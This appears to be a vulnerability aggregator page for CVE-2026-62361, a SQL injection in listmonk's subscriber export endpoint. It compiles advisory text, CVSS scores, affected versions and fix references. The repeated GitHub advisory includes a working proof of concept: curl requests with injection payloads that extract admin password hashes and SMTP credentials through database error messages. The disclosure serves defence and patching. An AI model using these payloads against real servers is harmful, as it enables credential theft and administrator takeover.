CVE-2026-62361
listmonk: SQL Injection in `/api/subscribers/export` bypasses table access control, leaking admin password hashes and SMTP credentials
listmonk is a standalone, self-hosted, newsletter and mailing list manager. Prior to 6.2.0, listmonk’s GET /api/subscribers/export endpoint injects the user-controlled query parameter into QuerySubscribersForExport in internal/core/subscribers.go without calling validateQueryTables, unlike GET /api/subscribers, allowing an authenticated user with subscribers:sql_query and subscribers:get_all to read arbitrary database tables such as users and settings and execute data-modifying PostgreSQL CTEs. This issue is fixed in version 6.2.0.
Attack profile
How easy it is to exploit
- Attack vector
- Network
- Complexity
- Low
- Privileges needed
- High
- User interaction
- None
What an attacker can affect
- Confidentiality
- High
- Integrity
- Low
- Availability
- None
Exploit likelihood
What each source reports
CVE List Score used
5.5
listmonk: SQL Injection in `/api/subscribers/export` bypasses table access control, leaking admin password hashes and SMTP credentials
listmonk is a standalone, self-hosted, newsletter and mailing list manager. Prior to 6.2.0, listmonk’s GET /api/subscribers/export endpoint injects the user-controlled query parameter into QuerySubscribersForExport in internal/core/subscribers.go without calling validateQueryTables, unlike GET /api/subscribers, allowing an authenticated user with subscribers:sql_query and subscribers:get_all to read arbitrary database tables such as users and settings and execute data-modifying PostgreSQL CTEs. This issue is fixed in version 6.2.0.
- Record
CVE-2026-62361- CVSS 3.1
- 5.5 Medium
CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:L/A:N - Weakness
- CWE-89
- Updated
- 2026-11-02
EUVDEUVD-2026-44815
5.5
listmonk: SQL Injection in /api/subscribers/export bypasses table access control, leaking admin password hashes and SMTP credentials
- Record
EUVD-2026-44815- CVSS 3.1
- 5.5 Medium
CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:L/A:N - Updated
- 2026-11-06
GitHub AdvisoriesGHSA-xgjr-7j9q-2h4r
5.5
listmonk: SQL Injection in `/api/subscribers/export` bypasses table access control, leaking admin password hashes and SMTP credentials
Summary
A SQL injection vulnerability in GET /api/subscribers/export allows an authenticated user with the subscribers:sql_query permission to bypass the table access control that exists on the regular query endpoint (GET /api/subscribers) and read arbitrary tables from the database — including users (bcrypt password hashes) and settings (SMTP credentials, API keys). Both error-based and time-based exfiltration techniques are confirmed to work. This creates a privilege escalation path: subscribers:sql_query → hash exfiltration → offline bcrypt crack (cost factor 6) → Super Admin account takeover.
Details
The subscriber query feature accepts a user-controlled query parameter that is injected directly into a SQL template via strings.ReplaceAll. The regular query endpoint GET /api/subscribers correctly calls validateQueryTables to block access to sensitive tables before execution. The export endpoint GET /api/subscribers/export omits this call entirely, creating an asymmetric bypass of an intentional security control.
internal/core/subscribers.go — protected path (regular query):
// QuerySubscribers — table validation present
stmt := strings.ReplaceAll(c.q.QuerySubscribersTpl, "%query%", cond)
if err := validateQueryTables(c.db, stmt, allowedSubQueryTables); err != nil {
return nil, 0, echo.NewHTTPError(http.StatusBadRequest,
fmt.Sprintf("Error preparing subscriber query: %v", err))
}
internal/core/subscribers.go — vulnerable path (export):
// ExportSubscribers — NO table validation
stmt := strings.ReplaceAll(c.q.QuerySubscribersForExport, "%query%", cond)
tx, err := c.db.Preparex(stmt) // executes directly without restriction
queries/subscribers.sql — the %query% placeholder is injected into a WHERE clause:
SELECT subscribers.id, subscribers.email, ...
FROM subscribers
LEFT JOIN subscriber_lists ON ...
WHERE (subscribers.status != 'blocklisted') AND %query%
ORDER BY subscribers.id ASC LIMIT ...
Because the export path does not run inside a ReadOnly transaction (unlike the dry-run used in QuerySubscribers), PostgreSQL CTEs with data-modifying statements (WITH ... UPDATE ... RETURNING) are also executable, enabling write operations beyond read-only exfiltration.
PoC
Prerequisites: Authenticated session with subscribers:sql_query and subscribers:get_all permissions.
Step 1 — Confirm the bypass (blocked on query, open on export):
# Blocked on regular endpoint:
curl -s "http://TARGET:9000/api/subscribers?query=(SELECT+1+FROM+users+LIMIT+1)+IS+NOT+NULL" \
-H "Cookie: session=SESSION_TOKEN"
# → HTTP 400: {"message":"Error preparing subscriber query: table 'users' is not allowed"}
# Bypassed on export endpoint:
curl -s "http://TARGET:9000/api/subscribers/export?query=(SELECT+1+FROM+users+LIMIT+1)+IS+NOT+NULL" \
-H "Cookie: session=SESSION_TOKEN"
# → HTTP 200: returns subscriber rows with no error
Step 2 — Error-based exfiltration of admin password hash:
curl -s "http://TARGET:9000/api/subscribers/export?\
query=CAST((SELECT+password+FROM+users+LIMIT+1)+AS+integer)+>+0" \
-H "Cookie: session=SESSION_TOKEN"
Response:
{
"message": "Error fetching Subscribers: pq: invalid input syntax for type integer: \"$2a$06$vI8n66eJwWCQDms5d47up.TmBYUsxRF13sw8efTh8TCyMQVLX2cn.\""
}
Step 3 — Error-based exfiltration of SMTP credentials:
curl -s "http://TARGET:9000/api/subscribers/export?\
query=CAST((SELECT+value::text+FROM+settings+WHERE+key='smtp'+LIMIT+1)+AS+integer)+>+0" \
-H "Cookie: session=SESSION_TOKEN"
Response:
{
"message": "Error fetching Subscribers: pq: invalid input syntax for type integer: \"[{\"host\": \"smtp.yoursite.com\", \"port\": 25, \"enabled\": true, \"password\": \"...\", \"username\": \"...\"}]\""
}
Step 4 — Time-based blind confirmation:
time curl -s…
- Record
GHSA-xgjr-7j9q-2h4r- CVSS 3.1
- 5.5 Medium
CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:L/A:N - Weakness
- CWE-89
- Updated
- 2026-11-06
NVD
5.5
listmonk is a standalone, self-hosted, newsletter and mailing list manager. Prior to 6.2.0, listmonk’s GET /api/subscribers/export endpoint injects the user-controlled query parameter into QuerySubscribersForExport in internal/core/subscribers.go without calling validateQueryTables, unlike GET /api/subscribers, allowing an authenticated user with subscribers:sql_query and subscribers:get_all to read arbitrary database tables such as users and settings and execute data-modifying PostgreSQL CTEs. This issue is fixed in version 6.2.0.
- Record
CVE-2026-62361- CVSS 3.1
- 5.5 Medium
CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:L/A:N - Weakness
- CWE-89
- Updated
- 2026-11-02
OSV
5.5
listmonk: SQL Injection in `/api/subscribers/export` bypasses table access control, leaking admin password hashes and SMTP credentials
listmonk is a standalone, self-hosted, newsletter and mailing list manager. Prior to 6.2.0, listmonk’s GET /api/subscribers/export endpoint injects the user-controlled query parameter into QuerySubscribersForExport in internal/core/subscribers.go without calling validateQueryTables, unlike GET /api/subscribers, allowing an authenticated user with subscribers:sql_query and subscribers:get_all to read arbitrary database tables such as users and settings and execute data-modifying PostgreSQL CTEs. This issue is fixed in version 6.2.0.
- Record
CVE-2026-62361- CVSS 3.1
- 5.5 Medium
CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:L/A:N - Weakness
- CWE-89
- Updated
- 2026-11-02
OSVGHSA-xgjr-7j9q-2h4r
5.5
listmonk: SQL Injection in `/api/subscribers/export` bypasses table access control, leaking admin password hashes and SMTP credentials
Summary
A SQL injection vulnerability in GET /api/subscribers/export allows an authenticated user with the subscribers:sql_query permission to bypass the table access control that exists on the regular query endpoint (GET /api/subscribers) and read arbitrary tables from the database — including users (bcrypt password hashes) and settings (SMTP credentials, API keys). Both error-based and time-based exfiltration techniques are confirmed to work. This creates a privilege escalation path: subscribers:sql_query → hash exfiltration → offline bcrypt crack (cost factor 6) → Super Admin account takeover.
Details
The subscriber query feature accepts a user-controlled query parameter that is injected directly into a SQL template via strings.ReplaceAll. The regular query endpoint GET /api/subscribers correctly calls validateQueryTables to block access to sensitive tables before execution. The export endpoint GET /api/subscribers/export omits this call entirely, creating an asymmetric bypass of an intentional security control.
internal/core/subscribers.go — protected path (regular query):
// QuerySubscribers — table validation present
stmt := strings.ReplaceAll(c.q.QuerySubscribersTpl, "%query%", cond)
if err := validateQueryTables(c.db, stmt, allowedSubQueryTables); err != nil {
return nil, 0, echo.NewHTTPError(http.StatusBadRequest,
fmt.Sprintf("Error preparing subscriber query: %v", err))
}
internal/core/subscribers.go — vulnerable path (export):
// ExportSubscribers — NO table validation
stmt := strings.ReplaceAll(c.q.QuerySubscribersForExport, "%query%", cond)
tx, err := c.db.Preparex(stmt) // executes directly without restriction
queries/subscribers.sql — the %query% placeholder is injected into a WHERE clause:
SELECT subscribers.id, subscribers.email, ...
FROM subscribers
LEFT JOIN subscriber_lists ON ...
WHERE (subscribers.status != 'blocklisted') AND %query%
ORDER BY subscribers.id ASC LIMIT ...
Because the export path does not run inside a ReadOnly transaction (unlike the dry-run used in QuerySubscribers), PostgreSQL CTEs with data-modifying statements (WITH ... UPDATE ... RETURNING) are also executable, enabling write operations beyond read-only exfiltration.
PoC
Prerequisites: Authenticated session with subscribers:sql_query and subscribers:get_all permissions.
Step 1 — Confirm the bypass (blocked on query, open on export):
# Blocked on regular endpoint:
curl -s "http://TARGET:9000/api/subscribers?query=(SELECT+1+FROM+users+LIMIT+1)+IS+NOT+NULL" \
-H "Cookie: session=SESSION_TOKEN"
# → HTTP 400: {"message":"Error preparing subscriber query: table 'users' is not allowed"}
# Bypassed on export endpoint:
curl -s "http://TARGET:9000/api/subscribers/export?query=(SELECT+1+FROM+users+LIMIT+1)+IS+NOT+NULL" \
-H "Cookie: session=SESSION_TOKEN"
# → HTTP 200: returns subscriber rows with no error
Step 2 — Error-based exfiltration of admin password hash:
curl -s "http://TARGET:9000/api/subscribers/export?\
query=CAST((SELECT+password+FROM+users+LIMIT+1)+AS+integer)+>+0" \
-H "Cookie: session=SESSION_TOKEN"
Response:
{
"message": "Error fetching Subscribers: pq: invalid input syntax for type integer: \"$2a$06$vI8n66eJwWCQDms5d47up.TmBYUsxRF13sw8efTh8TCyMQVLX2cn.\""
}
Step 3 — Error-based exfiltration of SMTP credentials:
curl -s "http://TARGET:9000/api/subscribers/export?\
query=CAST((SELECT+value::text+FROM+settings+WHERE+key='smtp'+LIMIT+1)+AS+integer)+>+0" \
-H "Cookie: session=SESSION_TOKEN"
Response:
{
"message": "Error fetching Subscribers: pq: invalid input syntax for type integer: \"[{\"host\": \"smtp.yoursite.com\", \"port\": 25, \"enabled\": true, \"password\": \"...\", \"username\": \"...\"}]\""
}
Step 4 — Time-based blind confirmation:
time curl -s…
- Record
GHSA-xgjr-7j9q-2h4r- CVSS 3.1
- 5.5 Medium
CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:L/A:N - Weakness
- CWE-89
- Updated
- 2026-11-06
Affected products
Affected packages
| Package | Affected | Fixed |
|---|---|---|
github.com/knadh/listmonkGo |
before 1.1.1-0.20260619102436-c0a6525009a6 | 1.1.1-0.20260619102436-c0a6525009a6 |
History
| Recorded | Changed | Sources |
|---|---|---|
| published | EUVD | |
| affected, references | OSV | |
| affected, facts, references | GitHub Advisories | |
| first indexed | CVE List, EUVD, NVD, OSV |
Dates are when Every CVE recorded each change. Upstream dates may differ.
In short
CVE-2026-62361 is a medium vulnerability (CVSS 5.5) in Knadh Listmonk, published July 15, 2026. No source lists public exploit code. EPSS puts the chance of exploitation in the next 30 days at 0.30%, the 22nd percentile. Fixed in github.com/knadh/listmonk 1.1.1-0.20260619102436-c0a6525009a6.
References
github.com/knadh/listmonk/security/advisories/GHSA-xgjr-7j9q-2h4r
github.com/knadh/listmonk/commit/c0a6525009a65265230185f16e8674dcc83aa024
github.com/knadh/listmonk/releases/tag/v6.2.0
nvd.nist.gov/vuln/detail/CVE-2026-62361
github.com/advisories/GHSA-xgjr-7j9q-2h4r
github.com/CVEProject/cvelistV5/tree/main/cves/2026/62xxx/CVE-2026-62361.json
github.com/knadh/listmonk
Left out here: the rest of 2 source descriptions. The JSON record has them.